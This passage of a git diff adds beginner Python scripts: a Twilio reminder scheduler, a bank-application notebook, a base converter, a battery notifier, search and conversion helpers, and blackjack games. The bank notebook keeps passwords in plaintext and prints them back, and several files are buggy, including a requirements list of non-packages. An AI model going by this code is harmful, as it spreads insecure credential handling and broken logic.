twilio number", + url="http://demo.twilio.com/docs/voice.xml", + ) + list_of_docs.remove(doc) diff --git a/Automated Scheduled Call Reminders/requirements.txt b/Automated Scheduled Call Reminders/requirements.txt new file mode 100644 index 00000000000..f5635170c24 --- /dev/null +++ b/Automated Scheduled Call Reminders/requirements.txt @@ -0,0 +1,14 @@ +APScheduler +search +os +time +gmtime +strftime +Client +twilio +datetime +timedelta +credentials +firestore +initialize_app +Twilio \ No newline at end of file diff --git a/Automated Scheduled Call Reminders/schedular.py b/Automated Scheduled Call Reminders/schedular.py new file mode 100644 index 00000000000..905adad611f --- /dev/null +++ b/Automated Scheduled Call Reminders/schedular.py @@ -0,0 +1,13 @@ +# schedular code for blocking schedular as we have only 1 process to run + +from apscheduler.schedulers.blocking import BlockingScheduler + +from caller import search + + +sched = BlockingScheduler() + +# Schedule job_function to be called every two hours +sched.add_job(search, "interval", hours=1) # for testing instead add hours =1 + +sched.start() diff --git a/Bank Application .ipynb b/Bank Application .ipynb new file mode 100644 index 00000000000..a780b0b0a7e --- /dev/null +++ b/Bank Application .ipynb @@ -0,0 +1,529 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "##open project" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# data is abstract Part :)" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": {}, + "outputs": [], + "source": [ + "data = {\n", + " \"accno\": [1001, 1002, 1003, 1004, 1005],\n", + " \"name\": [\"vaibhav\", \"abhinav\", \"aman\", \"ashish\", \"pramod\"],\n", + " \"balance\": [10000, 12000, 7000, 9000, 10000],\n", + " \"password\": [\"admin\", \"adminadmin\", \"passwd\", \"1234567\", \"amigo\"],\n", + " \"security_check\": [\"2211\", \"1112\", \"1009\", \"1307\", \"1103\"],\n", + "}" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'accno': [1001, 1002, 1003, 1004, 1005],\n", + " 'name': ['vaibhav', 'abhinav', 'aman', 'ashish', 'pramod'],\n", + " 'balance': [10000, 12000, 7000, 9000, 10000],\n", + " 'password': ['admin', 'adminadmin', 'passwd', '1234567', 'amigo'],\n", + " 'security_check': ['2211', '1112', '1009', '1307', '1103']}" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "scrolled": true + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " ------------------- \n", + " | Bank Application | \n", + "----------------------------------------------------------------------------------------------------\n", + "\n", + " 1. Login \n", + " 2. Signup \n", + " 3. Exit\n", + " enter what you want login, signup, exit : 1\n", + " login \n", + "____________________________________________________________________________________________________\n", + " enter account number : 1001\n", + " enter password : admin\n", + "\n", + " 1.check ditails \n", + " 2. debit \n", + " 3. credit \n", + " 4. change password \n", + " 5. main Manu \n", + " enter what you want : 1\n", + " cheak ditails \n", + "....................................................................................................\n", + "your account number --> 1001\n", + "your name --> vaibhav\n", + "your balance --> 10000\n", + "\n", + " 1.check ditails \n", + " 2. debit \n", + " 3. credit \n", + " 4. change password \n", + " 5. main Manu \n", + " enter what you want : 5\n", + " main menu \n", + "....................................................................................................\n", + "\n", + " 1. Login \n", + " 2. Signup \n", + " 3. Exit\n", + " enter what you want login, signup, exit : 3\n", + " exit \n", + " thank you for visiting \n", + "....................................................................................................\n" + ] + } + ], + "source": [ + "# import getpass\n", + "print(\"-------------------\".center(100))\n", + "print(\"| Bank Application |\".center(100))\n", + "print(\"-\" * 100)\n", + "while True:\n", + " print(\"\\n 1. Login \\n 2. Signup \\n 3. Exit\")\n", + " i1 = int(input(\"enter what you want login, signup, exit :\".center(50)))\n", + " # login part\n", + " if i1 == 1:\n", + " print(\"login\".center(90))\n", + " print(\"_\" * 100)\n", + " i2 = int(input(\"enter account number : \".center(50)))\n", + " if i2 in (data[\"accno\"]):\n", + " check = (data[\"accno\"]).index(i2)\n", + " i3 = input(\"enter password : \".center(50))\n", + " check2 = data[\"password\"].index(i3)\n", + " if check == check2:\n", + " while True:\n", + " print(\n", + " \"\\n 1.check ditails \\n 2. debit \\n 3. credit \\n 4. change password \\n 5. main Manu \"\n", + " )\n", + " i4 = int(input(\"enter what you want :\".center(50)))\n", + " # check ditails part\n", + " if i4 == 1:\n", + " print(\"cheak ditails\".center(90))\n", + " print(\".\" * 100)\n", + " print(f\"your account number --> {data['accno'][check]}\")\n", + " print(f\"your name --> {data['name'][check]}\")\n", + " print(f\"your balance --> {data['balance'][check]}\")\n", + " continue\n", + " # debit part\n", + " elif i4 == 2:\n", + " print(\"debit\".center(90))\n", + " print(\".\" * 100)\n", + " print(f\"your balance --> {data['balance'][check]}\")\n", + " i5 = int(input(\"enter debit amount : \"))\n", + " if 0 < i5 <= data[\"balance\"][check]:\n", + " debit = data[\"balance\"][check] - i5\n", + " data[\"balance\"][check] = debit\n", + " print(\n", + " f\"your remaining balance --> {data['balance'][check]}\"\n", + " )\n", + " else:\n", + " print(\"your debit amount is more than balance \")\n", + " continue\n", + " # credit part\n", + " elif i4 == 3:\n", + " print(\"credit\".center(90))\n", + " print(\".\" * 100)\n", + " print(f\"your balance --> {data['balance'][check]}\")\n", + " i6 = int(input(\"enter credit amount : \"))\n", + " if 0 < i6:\n", + " credit = data[\"balance\"][check] + i6\n", + " data[\"balance\"][check] = credit\n", + " print(f\"your new balance --> {data['balance'][check]}\")\n", + " else:\n", + " print(\"your credit amount is low \")\n", + " continue\n", + " # password part\n", + " elif i4 == 4:\n", + " print(\"change password\".center(90))\n", + " print(\".\" * 100)\n", + " old = input(\"enter your old password : \")\n", + " print(\n", + " \"your password must have at list one lower case, one uppercase, one digital, one special case and length of password is 8\"\n", + " )\n", + " new = getpass.getpass(prompt=\"Enter your new password\")\n", + " if old == data[\"password\"][check]:\n", + " low, up, sp, di = 0, 0, 0, 0\n", + " if (len(new)) > 8:\n", + " for i in new:\n", + " if i.islower():\n", + " low += 1\n", + " if i.isupper():\n", + " up += 1\n", + " if i.isdigit():\n", + " di += 1\n", + " if i in [\"@\", \"$\", \"%\", \"^\", \"&\", \"*\"]:\n", + " sp += 1\n", + " if (\n", + " low >= 1\n", + " and up >= 1\n", + " and sp >= 1\n", + " and di >= 1\n", + " and low + up + sp + di == len(new)\n", + " ):\n", + " data[\"password\"][check] = new\n", + " print(\n", + " f\"your new password --> {data['password'][check]}\"\n", + " )\n", + " else:\n", + " print(\"Invalid Password\")\n", + " else:\n", + " print(\"old password wrong please enter valid password\")\n", + " continue\n", + " elif i4 == 5:\n", + " print(\"main menu\".center(90))\n", + " print(\".\" * 100)\n", + " break\n", + " else:\n", + " print(\"please enter valid number\")\n", + " else:\n", + " print(\"please check your password number\".center(50))\n", + " else:\n", + " print(\"please check your account number\".center(50))\n", + " # signup part\n", + " elif i1 == 2:\n", + " print(\"signup\".center(90))\n", + " print(\"_\" * 100)\n", + " acc = 1001 + len(data[\"accno\"])\n", + " data[\"accno\"].append(acc)\n", + " ind = (data[\"accno\"]).index(acc)\n", + " name = input(\"enter your name : \")\n", + " data[\"name\"].append(name)\n", + " balance = int(input(\"enter your initial balance : \"))\n", + " data[\"balance\"].append(balance)\n", + " password = input(\"enter your password : \")\n", + " data[\"password\"].append(password)\n", + " security_check = (int(input(\"enter your security pin (DDMM) : \"))).split()\n", + " print(\".\" * 100)\n", + " print(f\"your account number --> {data['accno'][ind]}\".center(50))\n", + " print(f\"your name --> {data['name'][ind]}\".center(50))\n", + " print(f\"your balance --> {data['balance'][ind]}\".center(50))\n", + " print(f\"your password --> {data['password'][ind]}\".center(50))\n", + " continue\n", + " # exit part\n", + " elif i1 == 3:\n", + " print(\"exit\".center(90))\n", + " print(\"thank you for visiting\".center(90))\n", + " print(\".\" * 100)\n", + " break\n", + " else:\n", + " print(f\"wrong enter : {i1}\".center(50))" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# All part in function:)" + ] + }, + { + "cell_type": "code", + "execution_count": 54, + "metadata": {}, + "outputs": [], + "source": [ + "def cheak_ditails(check):\n", + " print(\"cheak ditails\".center(90))\n", + " print(\".\" * 100)\n", + " print(f\"your account number --> {data['accno'][check]}\")\n", + " print(f\"your name --> {data['name'][check]}\")\n", + " print(f\"your balance --> {data['balance'][check]}\")" + ] + }, + { + "cell_type": "code", + "execution_count": 55, + "metadata": {}, + "outputs": [], + "source": [ + "def credit(check):\n", + " print(\"credit\".center(90))\n", + " print(\".\" * 100)\n", + " print(f\"your balance --> {data['balance'][check]}\")\n", + " i6 = int(input(\"enter credit amount : \"))\n", + " if 0 < i6:\n", + " credit = data[\"balance\"][check] + i6\n", + " data[\"balance\"][check] = credit\n", + " print(f\"your new balance --> {data['balance'][check]}\")\n", + " else:\n", + " print(\"your credit amount is low \")" + ] + }, + { + "cell_type": "code", + "execution_count": 56, + "metadata": {}, + "outputs": [], + "source": [ + "def debit(check):\n", + " print(\"debit\".center(90))\n", + " print(\".\" * 100)\n", + " print(f\"your balance --> {data['balance'][check]}\")\n", + " i5 = int(input(\"enter debit amount : \"))\n", + " if 0 < i5 <= data[\"balance\"][check]:\n", + " debit = data[\"balance\"][check] - i5\n", + " data[\"balance\"][check] = debit\n", + " print(f\"your remaining balance --> {data['balance'][check]}\")\n", + " else:\n", + " print(\"your debit amount is more than balance \")" + ] + }, + { + "cell_type": "code", + "execution_count": 57, + "metadata": {}, + "outputs": [], + "source": [ + "def change_password(check):\n", + " print(\"change password\".center(90))\n", + " print(\".\" * 100)\n", + " old = input(\"enter your old password : \")\n", + " print(\n", + " \"your password must have at list one lower case, one uppercase, one digital, one special case and length of password is 8\"\n", + " )\n", + " new = getpass.getpass(prompt=\"Enter your new password\")\n", + " if old == data[\"password\"][check]:\n", + " low, up, sp, di = 0, 0, 0, 0\n", + " if (len(new)) > 8:\n", + " for i in new:\n", + " if i.islower():\n", + " low += 1\n", + " if i.isupper():\n", + " up += 1\n", + " if i.isdigit():\n", + " di += 1\n", + " if i in [\"@\", \"$\", \"%\", \"^\", \"&\", \"*\"]:\n", + " sp += 1\n", + " if (\n", + " low >= 1\n", + " and up >= 1\n", + " and sp >= 1\n", + " and di >= 1\n", + " and low + up + sp + di == len(new)\n", + " ):\n", + " data[\"password\"][check] = new\n", + " print(f\"your new password --> {data['password'][check]}\")\n", + " else:\n", + " print(\"Invalid Password\")\n", + " else:\n", + " print(\"old password wrong please enter valid password\")" + ] + }, + { + "cell_type": "code", + "execution_count": 58, + "metadata": {}, + "outputs": [], + "source": [ + "def login():\n", + " print(\"login\".center(90))\n", + " print(\"_\" * 100)\n", + " i2 = int(input(\"enter account number : \".center(50)))\n", + " if i2 in (data[\"accno\"]):\n", + " check = (data[\"accno\"]).index(i2)\n", + " i3 = input(\"enter password : \".center(50))\n", + " check2 = data[\"password\"].index(i3)\n", + " if check == check2:\n", + " while True:\n", + " print(\n", + " \"\\n 1.check ditails \\n 2. debit \\n 3. credit \\n 4. change password \\n 5. main Manu \"\n", + " )\n", + " i4 = int(input(\"enter what you want :\".center(50)))\n", + " # check ditails part\n", + " if i4 == 1:\n", + " cheak_ditails(check)\n", + " continue\n", + " # debit part\n", + " elif i4 == 2:\n", + " debit(check)\n", + " continue\n", + " # credit part\n", + " elif i4 == 3:\n", + " credit(check)\n", + " continue\n", + " # password part\n", + " elif i4 == 4:\n", + " change_password(check)\n", + " continue\n", + " elif i4 == 5:\n", + " print(\"main menu\".center(90))\n", + " print(\".\" * 100)\n", + " break\n", + " else:\n", + " print(\"please enter valid number\")\n", + " else:\n", + " print(\"please check your password number\".center(50))\n", + " else:\n", + " print(\"please check your account number\".center(50))" + ] + }, + { + "cell_type": "code", + "execution_count": 74, + "metadata": {}, + "outputs": [], + "source": [ + "def security_check(ss):\n", + " data = {(1, 3, 5, 7, 8, 10, 12): 31, (2,): 29, (4, 6, 9): 30}\n", + " month = ss[2:]\n", + " date = ss[:2]\n", + " for key, value in data.items():\n", + " print(key, value)\n", + " if int(month) in key:\n", + " if 1 <= int(date) <= value:\n", + " return True\n", + " return False\n", + " return False" + ] + }, + { + "cell_type": "code", + "execution_count": 75, + "metadata": {}, + "outputs": [], + "source": [ + "def signup():\n", + " print(\"signup\".center(90))\n", + " print(\"_\" * 100)\n", + " acc = 1001 + len(data[\"accno\"])\n", + " data[\"accno\"].append(acc)\n", + " ind = (data[\"accno\"]).index(acc)\n", + " name = input(\"enter your name : \")\n", + " data[\"name\"].append(name)\n", + " balance = int(input(\"enter your initial balance : \"))\n", + " data[\"balance\"].append(balance)\n", + " password = input(\"enter your password : \")\n", + " data[\"password\"].append(password)\n", + " ss = input(\"enter a secuirty quetion in form dd//mm\")\n", + " security_check(ss)\n", + " data[\"security_check\"].append(ss)\n", + " print(\".\" * 100)\n", + " print(f\"your account number --> {data['accno'][ind]}\".center(50))\n", + " print(f\"your name --> {data['name'][ind]}\".center(50))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " ------------------- \n", + " | Bank Application | \n", + "----------------------------------------------------------------------------------------------------\n", + "\n", + " 1. Login \n", + " 2. Signup \n", + " 3. Exit\n", + " enter what you want login, signup, exit : 2\n", + " signup \n", + "____________________________________________________________________________________________________\n", + "enter your name : am\n", + "enter your initial balance : 1000\n", + "enter your password : amn11\n", + "enter a secuirty quetion in form dd//mm1103\n", + "(1, 3, 5, 7, 8, 10, 12) 31\n", + "....................................................................................................\n", + " your account number --> 1013 \n", + " your name --> am \n", + "\n", + " 1. Login \n", + " 2. Signup \n", + " 3. Exit\n" + ] + } + ], + "source": [ + "def main():\n", + " print(\"-------------------\".center(100))\n", + " print(\"| Bank Application |\".center(100))\n", + " print(\"-\" * 100)\n", + " while True:\n", + " print(\"\\n 1. Login \\n 2. Signup \\n 3. Exit\")\n", + " i1 = int(input(\"enter what you want login, signup, exit :\".center(50)))\n", + " # login part\n", + " if i1 == 1:\n", + " login()\n", + " # signup part\n", + " elif i1 == 2:\n", + " signup()\n", + " # exit part\n", + " elif i1 == 3:\n", + " print(\"exit\".center(90))\n", + " print(\"thank you for visiting\".center(90))\n", + " print(\".\" * 100)\n", + " break\n", + " else:\n", + " print(f\"wrong enter : {i1}\".center(50))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/Base Converter Number system.py b/Base Converter Number system.py new file mode 100644 index 00000000000..23961a1372d --- /dev/null +++ b/Base Converter Number system.py @@ -0,0 +1,83 @@ +def base_check(xnumber, xbase): + for char in xnumber[len(xnumber) - 1]: + if int(char) >= int(xbase): + return False + return True + + +def convert_from_10(xnumber, xbase, arr, ybase): + if int(xbase) == 2 or int(xbase) == 4 or int(xbase) == 6 or int(xbase) == 8: + if xnumber == 0: + return arr + else: + quotient = int(xnumber) // int(xbase) + remainder = int(xnumber) % int(xbase) + arr.append(remainder) + dividend = quotient + convert_from_10(dividend, xbase, arr, base) + elif int(xbase) == 16: + if int(xnumber) == 0: + return arr + else: + quotient = int(xnumber) // int(xbase) + remainder = int(xnumber) % int(xbase) + if remainder > 9: + if remainder == 10: + remainder = "A" + if remainder == 11: + remainder = "B" + if remainder == 12: + remainder = "C" + if remainder == 13: + remainder = "D" + if remainder == 14: + remainder = "E" + if remainder == 15: + remainder = "F" + arr.append(remainder) + dividend = quotient + convert_from_10(dividend, xbase, arr, ybase) + + +def convert_to_10(xnumber, xbase, arr, ybase): + if int(xbase) == 10: + for char in xnumber: + arr.append(char) + flipped = arr[::-1] + ans = 0 + j = 0 + + for i in flipped: + ans = ans + (int(i) * (int(ybase) ** j)) + j = j + 1 + return ans + + +arrayfrom = [] +arrayto = [] +is_base_possible = False +number = input("Enter the number you would like to convert: ") + +while not is_base_possible: + base = input("What is the base of this number? ") + is_base_possible = base_check(number, base) + if not is_base_possible: + print(f"The number {number} is not a base {base} number") + base = input + else: + break +dBase = input("What is the base you would like to convert to? ") +if int(base) == 10: + convert_from_10(number, dBase, arrayfrom, base) + answer = arrayfrom[::-1] # reverses the array + print(f"In base {dBase} this number is: ") + print(*answer, sep="") +elif int(dBase) == 10: + answer = convert_to_10(number, dBase, arrayto, base) + print(f"In base {dBase} this number is: {answer} ") +else: + number = convert_to_10(number, 10, arrayto, base) + convert_from_10(number, dBase, arrayfrom, base) + answer = arrayfrom[::-1] + print(f"In base {dBase} this number is: ") + print(*answer, sep="") diff --git a/Battery_notifier.py b/Battery_notifier.py new file mode 100644 index 00000000000..2f45301bc1e --- /dev/null +++ b/Battery_notifier.py @@ -0,0 +1,23 @@ +from plyer import notification # pip install plyer +import psutil # pip install psutil + +# psutil.sensors_battery() will return the information related to battery +battery = psutil.sensors_battery() + +# battery percent will return the current battery prcentage +percent = battery.percent +charging = battery.power_plugged + +# Notification(title, description, duration)--to send +# notification to desktop +# help(Notification) +if charging: + if percent == 100: + charging_message = "Unplug your Charger" + else: + charging_message = "Charging" +else: + charging_message = "Not Charging" +message = str(percent) + "% Charged\n" + charging_message + +notification.notify("Battery Information", message, timeout=10) diff --git a/Binary Coefficients.py b/Binary Coefficients.py new file mode 100644 index 00000000000..3039858d55f --- /dev/null +++ b/Binary Coefficients.py @@ -0,0 +1,20 @@ +def pascal_triangle(lineNumber): + list1 = list() + list1.append([1]) + i = 1 + while i <= lineNumber: + j = 1 + l = [] + l.append(1) + while j < i: + l.append(list1[i - 1][j] + list1[i - 1][j - 1]) + j = j + 1 + l.append(1) + list1.append(l) + i = i + 1 + return list1 + + +def binomial_coef(n, k): + pascalTriangle = pascal_triangle(n) + return pascalTriangle[n][k - 1] diff --git a/Binary_search.py b/Binary_search.py new file mode 100644 index 00000000000..3961529fcc8 --- /dev/null +++ b/Binary_search.py @@ -0,0 +1,42 @@ +# It returns location of x in given array arr +# if present, else returns -1 +def binary_search(arr, l, r, x): + # Base case: if left index is greater than right index, element is not present + if l > r: + return -1 + + # Calculate the mid index + mid = (l + r) // 2 + + # If element is present at the middle itself + if arr[mid] == x: + return mid + + # If element is smaller than mid, then it can only be present in left subarray + elif arr[mid] > x: + return binary_search(arr, l, mid - 1, x) + + # Else the element can only be present in right subarray + else: + return binary_search(arr, mid + 1, r, x) + + +# Main Function +if __name__ == "__main__": + # User input array + arr = [ + int(x) + for x in input("Enter the array with elements separated by commas: ").split(",") + ] + + # User input element to search for + x = int(input("Enter the element you want to search for: ")) + + # Function call + result = binary_search(arr, 0, len(arr) - 1, x) + + # printing the output + if result != -1: + print("Element is present at index {}".format(result)) + else: + print("Element is not present in array") diff --git a/Binary_to_Decimal.py b/Binary_to_Decimal.py new file mode 100644 index 00000000000..ed477d502a6 --- /dev/null +++ b/Binary_to_Decimal.py @@ -0,0 +1,22 @@ +# Program to convert binary to decimal + + +def binaryToDecimal(binary): + """ + >>> binaryToDecimal(111110000) + 496 + >>> binaryToDecimal(10100) + 20 + >>> binaryToDecimal(101011) + 43 + """ + decimal, i, n = 0, 0, 0 + while binary != 0: + dec = binary % 10 + decimal = decimal + dec * pow(2, i) + binary = binary // 10 + i += 1 + print(decimal) + + +binaryToDecimal(100) diff --git a/BlackJack_game/blackjack.py b/BlackJack_game/blackjack.py new file mode 100644 index 00000000000..7a1331f84be --- /dev/null +++ b/BlackJack_game/blackjack.py @@ -0,0 +1,120 @@ +# master +# master +# BLACK JACK - CASINO A GAME OF FORTUNE!!! +from time import sleep + +# BLACK JACK - CASINO +# PYTHON CODE BASE + + +# master +import random + +deck = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10, 11] * 4 + +random.shuffle(deck) + +print(f"{'*' * 58} \n Welcome to the game Casino - BLACK JACK ! \n{'*' * 58}") +sleep(2) +print("So Finally You Are Here To Accept Your Fate") +sleep(2) +print("I Mean Your Fortune") +sleep(2) +print("Lets Check How Lucky You Are Wish You All The Best") +sleep(2) +print("Loading---") +sleep(2) + +print("Still Loading---") +sleep(2) +print( + "So You Are Still Here Not Gone I Gave You Chance But No Problem May Be You Trust Your Fortune A Lot \n Lets Begin Then" +) +sleep(2) +d_cards = [] # Initialising dealer's cards +p_cards = [] # Initialising player's cards +sleep(2) +while len(d_cards) != 2: + random.shuffle(deck) + d_cards.append(deck.pop()) + if len(d_cards) == 2: + print("The cards dealer has are X ", d_cards[1]) + +# Displaying the Player's cards +while len(p_cards) != 2: + random.shuffle(deck) + p_cards.append(deck.pop()) + if len(p_cards) == 2: + print("The total of player is ", sum(p_cards)) + print("The cards Player has are ", p_cards) + +if sum(p_cards) > 21: + print(f"You are BUSTED !\n {'*' * 14}Dealer Wins !!{'*' * 14}\n") + exit() + +if sum(d_cards) > 21: + print(f"Dealer is BUSTED !\n {'*' * 14} You are the Winner !!{'*' * 18}\n") + exit() + +if sum(d_cards) == 21: + print(f"{'*' * 24}Dealer is the Winner !!{'*' * 14}") + exit() + +if sum(d_cards) == 21 and sum(p_cards) == 21: + print(f"{'*' * 17}The match is tie !!{'*' * 25}") + exit() + + +# function to show the dealer's choice +def dealer_choice(): + if sum(d_cards) < 17: + while sum(d_cards) < 17: + random.shuffle(deck) + d_cards.append(deck.pop()) + + print("Dealer has total " + str(sum(d_cards)) + "with the cards ", d_cards) + + if sum(p_cards) == sum(d_cards): + print(f"{'*' * 15}The match is tie !!{'*' * 15}") + exit() + + if sum(d_cards) == 21: + if sum(p_cards) < 21: + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") + elif sum(p_cards) == 21: + print(f"{'*' * 20}There is tie !!{'*' * 26}") + else: + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") + + elif sum(d_cards) < 21: + if sum(p_cards) < 21 and sum(p_cards) < sum(d_cards): + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") + if sum(p_cards) == 21: + print(f"{'*' * 22}Player is winner !!{'*' * 22}") + if 21 > sum(p_cards) > sum(d_cards): + print(f"{'*' * 22}Player is winner !!{'*' * 22}") + + else: + if sum(p_cards) < 21: + print(f"{'*' * 22}Player is winner !!{'*' * 22}") + elif sum(p_cards) == 21: + print(f"{'*' * 22}Player is winner !!{'*' * 22}") + else: + print(f"{'*' * 23}Dealer is the Winner !!{'*' * 18}") + + +while sum(p_cards) < 21: + # to continue the game again and again !! + k = input("Want to hit or stay?\n Press 1 for hit and 0 for stay ") + if k == "1": # Ammended 1 to a string + random.shuffle(deck) + p_cards.append(deck.pop()) + print("You have a total of " + str(sum(p_cards)) + " with the cards ", p_cards) + if sum(p_cards) > 21: + print(f"{'*' * 13}You are BUSTED !{'*' * 13}\n Dealer Wins !!") + if sum(p_cards) == 21: + print(f"{'*' * 19}You are the Winner !!{'*' * 29}") + + else: + dealer_choice() + break diff --git a/BlackJack_game/blackjack_rr.py b/BlackJack_game/blackjack_rr.py new file mode 100644 index 00000000000..a70c2d4acc1 --- /dev/null +++ b/BlackJack_game/blackjack_rr.py @@ -0,0 +1,275 @@ +import random + + +class Colour: + BLACK = "\033[30m" + RED = "\033[91m" + GREEN = "\033[32m" + END = "\033[0m" + + +suits = ( + Colour.RED + "Hearts" + Colour.END, + Colour.RED + "Diamonds" + Colour.END, + Colour.BLACK + "Spades" + Colour.END, + Colour.BLACK + "Clubs" + Colour.END, +) +ranks = ( + "Two", + "Three", + "Four", + "Five", + "Six", + "Seven", + "Eight", + "Nine", + "Ten", + "Jack", + "Queen", + "King", + "Ace", +) +values = { + "Two": 2, + "Three": 3, + "Four": 4, + "Five": 5, + "Six": 6, + "Seven": 7, + "Eight": 8, + "Nine": 9, + "Ten": 10, + "Jack": 10, + "Queen": 10, + "King": 10, + "Ace": 11, +} + +playing = True + + +class Card: + def __init__(self, suit, rank): + self.suit = suit + self.rank = rank + + def __str__(self): + return self.rank + " of " + self.suit + + +class Deck: + def __init__(self): + self.deck = [] + for suit in suits: + for rank in ranks: + self.deck.append(Card(suit, rank)) + + def __str__(self): + deck_comp = "" + for card in self.deck: + deck_comp += "\n " + card.__str__() + + def shuffle(self): + random.shuffle(self.deck) + + def deal(self): + single_card = self.deck.pop() + return single_card + + +class Hand: + def __init__(self): + self.cards = [] + self.value = 0 + self.aces = 0 # to keep track of aces + + def add_card(self, card): + self.cards.append(card) + self.value += values[card.rank] + if card.rank == "Ace": + self.aces += 1 + + def adjust_for_ace(self): + while self.value > 21 and self.aces: + self.value -= 10 + self.aces -= 1 + + +class Chips: + def __init__(self): + self.total = 100 + self.bet = 0 + + def win_bet(self): + self.total += self.bet + + def lose_bet(self): + self.total -= self.bet + + +def take_bet(chips): + while True: + try: + chips.bet = int(input("How many chips would you like to bet? ")) + except ValueError: + print("Your bet must be an integer! Try again.") + else: + if chips.bet > chips.total or chips.bet <= 0: + print( + "Your bet cannot exceed your balance and you have to enter a positive bet! Your current balance is: ", + chips.total, + ) + else: + break + + +def hit(deck, hand): + hand.add_card(deck.deal()) + hand.adjust_for_ace() + + +def hit_or_stand(deck, hand): + global playing + + while True: + x = input("Would you like to Hit or Stand? Enter '1' or '0' ") + + if x.lower() == "1": + hit(deck, hand) + + elif x.lower() == "0": + print("You chose to stand. Dealer will hit.") + playing = False + + else: + print("Wrong input, please try again.") + continue + break + + +def show_some(player, dealer): + print("\nDealer's Hand:") + print(" { hidden card }") + print("", dealer.cards[1]) + print("\nYour Hand:", *player.cards, sep="\n ") + + +def show_all(player, dealer): + print("\nDealer's Hand:", *dealer.cards, sep="\n ") + print("Dealer's Hand =", dealer.value) + print("\nYour Hand:", *player.cards, sep="\n ") + print("Your Hand =", player.value) + + +def player_busts(player, dealer, chips): + print("You are BUSTED !") + chips.lose_bet() + + +def player_wins(player, dealer, chips): + print("You are the winner!") + chips.win_bet() + + +def dealer_busts(player, dealer, chips): + print("Dealer has BUSTED !") + chips.win_bet() + + +def dealer_wins(player, dealer, chips): + print("Dealer is the winner!") + chips.lose_bet() + + +def push(player, dealer): + print("The match is tie !") + + +# GAMEPLAY +player_chips = Chips() + +while True: + print("\t **********************************************************") + print( + "\t Welcome to the game Casino - BLACK JACK ! " + ) + print("\t **********************************************************") + print(Colour.BLACK + "\t ***************") + print("\t * A *") + print("\t * *") + print("\t * * *") + print("\t * *** *") + print("\t * ***** *") + print("\t * *** *") + print("\t * * *") + print("\t * *") + print("\t * *") + print("\t ***************" + Colour.END) + + print( + "\nRULES: Get as close to 21 as you can but if you get more than 21 you will lose!\n Aces count as 1 or 11." + ) + + deck = Deck() + deck.shuffle() + + player_hand = Hand() + player_hand.add_card(deck.deal()) + player_hand.add_card(deck.deal()) + + dealer_hand = Hand() + dealer_hand.add_card(deck.deal()) + dealer_hand.add_card(deck.deal()) + + take_bet(player_chips) + + show_some(player_hand, dealer_hand) + + while playing: + hit_or_stand(deck, player_hand) + show_some(player_hand, dealer_hand) + + if player_hand.value > 21: + player_busts(player_hand, dealer_hand, player_chips) + break + + if player_hand.value <= 21: + while dealer_hand.value < 17: + hit(deck, dealer_hand) + + show_all(player_hand, dealer_hand) + + if dealer_hand.value > 21: + dealer_busts(player_hand, dealer_hand, player_chips) + + elif dealer_hand.value > player_hand.value: + dealer_wins(player_hand, dealer_hand, player_chips) + + elif dealer_hand.value < player_hand.value: + player_wins(player_hand, dealer_hand, player_chips) + + else: + push(player_hand, dealer_hand) + + print("\nYour current balance stands at", player_chips.total) + + if player_chips.total > 0: + new_game = input("Would you like to play another hand? Enter '1' or '0' ") + if new_game.lower() == "1": + playing = True + continue + else: + print( + "Thanks for playing!\n" + + Colour.GREEN + + "\t$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n \t Congratulations! You won " + + str(player_chips.total) + + " coins!\n\t$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n " + + Colour.END + ) + break + else: + print( + "Oops! You have bet all your chips and we are sorry you can't play more.\nThanks for playing! Do come again to Casino BLACK JACK!" + ) + break diff --git a/BlackJack_game/blackjack_simulate.py b/BlackJack_game/blackjack_simulate.py new file mode 100644 index 00000000000..ae1706f6888 --- /dev/null +++ b/BlackJack_game/blackjack_simulate.py @@ -0,0 +1,638 @@ +import os +import random +from functools import namedtuple + +""" +Target: BlackJack 21 simulate + - Role + - Dealer: 1 + - Insurance: (When dealer Get A(1) face up) + - When dealer got 21 + - lost chips + - When dealer doesn't got 21 + - win double chips (Your Insurance) + - Player: 1 + - Bet: (Drop chip before gambling start) + - Hit: (Take other card from the dealer) + - Stand: (No more card dealer may take card when rank under 17) + - Double down: (When you got over 10 in first hand) + (Get one card) + - Surrender: (only available as first decision of a hand) + - Dealer return 50% chips +""" + +__author__ = "Alopex Cheung" +__version__ = "0.2" + +BLACK_JACK = 21 +BASE_VALUE = 17 + +COLOR = { + "PURPLE": "\033[1;35;48m", + "CYAN": "\033[1;36;48m", + "BOLD": "\033[1;37;48m", + "BLUE": "\033[1;34;48m", + "GREEN": "\033[1;32;48m", + "YELLOW": "\033[1;33;48m", + "RED": "\033[1;31;48m", + "BLACK": "\033[1;30;48m", + "UNDERLINE": "\033[4;37;48m", + "END": "\033[1;37;0m", +} + + +class Card: + __slots__ = "suit", "rank", "is_face" + + def __init__(self, suit, rank, face=True): + """ + :param suit: patter in the card + :param rank: point in the card + :param face: show or cover the face(point & pattern on it) + """ + self.suit = 